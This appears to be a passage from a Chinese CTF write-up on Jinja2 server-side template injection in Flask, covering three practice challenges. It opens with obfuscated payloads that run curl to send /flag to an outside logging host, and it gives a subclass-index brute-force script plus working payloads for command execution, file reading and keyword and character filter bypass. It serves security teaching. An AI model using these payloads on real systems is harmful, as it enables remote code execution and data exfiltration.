{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')")
說了這麼多的繞過形式,接着結合題目總結下常見的利用思路。
利用思路
無過濾的情況
①隨便找一個內置類對象用class拿到它所對應的類②用bases拿到基類(<class 'object'>)③用subclasses()拿到子類列表④在子類列表中直接尋找可以利用的類getshell
綜上,基本思路爲:
對象→類→基本類→子類→(init方法→globals屬性→builtins屬性)→讀取文件的類
其中,()內的步驟有些時候不需要用到,所以加個括號表示可去。例如無過濾的情況下file類讀取文件時:
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
接着用代碼演示圖過一遍思路:
先找到一個類型所屬的對象,在找到這個對象所繼承的基類,接着找到子類。
假設我們需要用到的就是OS模塊來命令執行,找到OS類了並將這個類初始化成方法,相當於我們調用了OS模塊,然後通過globals保存對全局變量的引用,最後使用os模板進行命令執行讀取文件。
到最後還要使用read()方法讀取,是因爲前面返回的結果爲地址,如圖所示:
所以還需要用read()讀取一下。
如有過濾的話,其實追究其根本,還是要按照上面的那些步驟進行利用,只不過題目過濾了什麼就用對應的方法繞過即可。
實戰
[CSCCTF 2019 Qual]FlaskLight
這是一道沒有任何過濾的題目,難度較小。首先是一成不變的步驟,嘗試輸入{{ 4*5 }}看看有沒有回顯20,發現存在SSTI注入:
接着利用{{''.__class__.__mro__[2].__subclasses__()}}
可爆出所有類,通過ctrl+f搜索也能找到利用類,但是不知道下標具體是多少無法加以利用。
這裏附上網上的腳本尋找利用類及下標:
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
得到利用類的下標爲258:
接着就可以開始構造拿flag了。
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目錄)
成功拿到flag:
再來看一道過濾了關鍵字的題目,使用上面提到的方法進行構造且分析思路。
#
[GYCTF2020]FlaskApp
這道題過濾了os、flag、chr、popen、eval、request等常用關鍵字,需要進行繞過。
首先打開題目發現是一個用flask寫的一個base64加解密應用。有一個加密頁面和解密頁面,思路應該是在加密頁面輸入payload進行加密,加密結果在解密頁面進行解密,輸出解密後的payload被渲染到頁面輸出後執行了payload,使其報錯發現有個源文件app.py及加解密原理。有個模板渲染,然而SSTI注入的原因正是由於render_template_string
的不正確的使用以及沒有對用戶輸入的數據進行有效的過濾導致的。
獲取源碼
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
利用上面提到的使用+
拼接字符串繞過os、import等被過濾關鍵字以便找目錄與執行命令。構造如下:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
拿到文件,接着讀取,注意flag要使用拼接:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
成功拿到flag:
再來看一道過濾字符的題目,以便測試利用上述繞過各種字符的方法。
#
[Dest0g3 520迎新賽]EasySSTI
根據題目名稱提示,這題考察SSTI,進入題目是一個登錄框,點擊登錄可以回顯用戶名,發現在username
處有jinja2模板引擎的SSTI漏洞:
經過Fuzz,發現過濾了_.'"[]
等字符,還有各種class、request、eval等關鍵字以及空格。
最終還是要達到實現{{lipsum.__globals__['os'].popen('ls').read()}}
進行命令執行的目的,其他字符可以使用過濾器和join拼接字符達到繞過,空格的話使用%0a
換行符繞過。
{%set%0apo=dict(po=a,p=a)|join()%} #pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%} #_
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join()%} #popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%} #read
dict(o=a,s=a)|join() #獲取 os
(config|string|list)|attr(po)(279) #獲取 /
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
等價於:
{{lipsum.__globals__['os'].popen('ls').read()}}
先使用ls
查看有哪些文件,構造如下
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
使用()|select|string|list
獲取flag的具體位置:
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
接着將命令修改爲cat /flag
最終構造如下:
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}
成功拿到flag:
總結
對於ssti注入,其實掌握基本的常用的方法,按照常規的思路進行構造,有哪些被過濾的就用相應的方法進行繞過,按照模板走大多數題目都能解出來,但是最重要的還是自己動手嘗試構造,體會其中的原理,因爲還要考慮題目解釋器版本不同、類方法所在索引不同,構造出來的語句也不一樣。對於python裏的jinja2
ssti注入就分析到這裏,後續還會總結java、php中常用模板的ssti注入,下回見。
更多靶場實驗練習、網安學習資料,請點擊這裏>>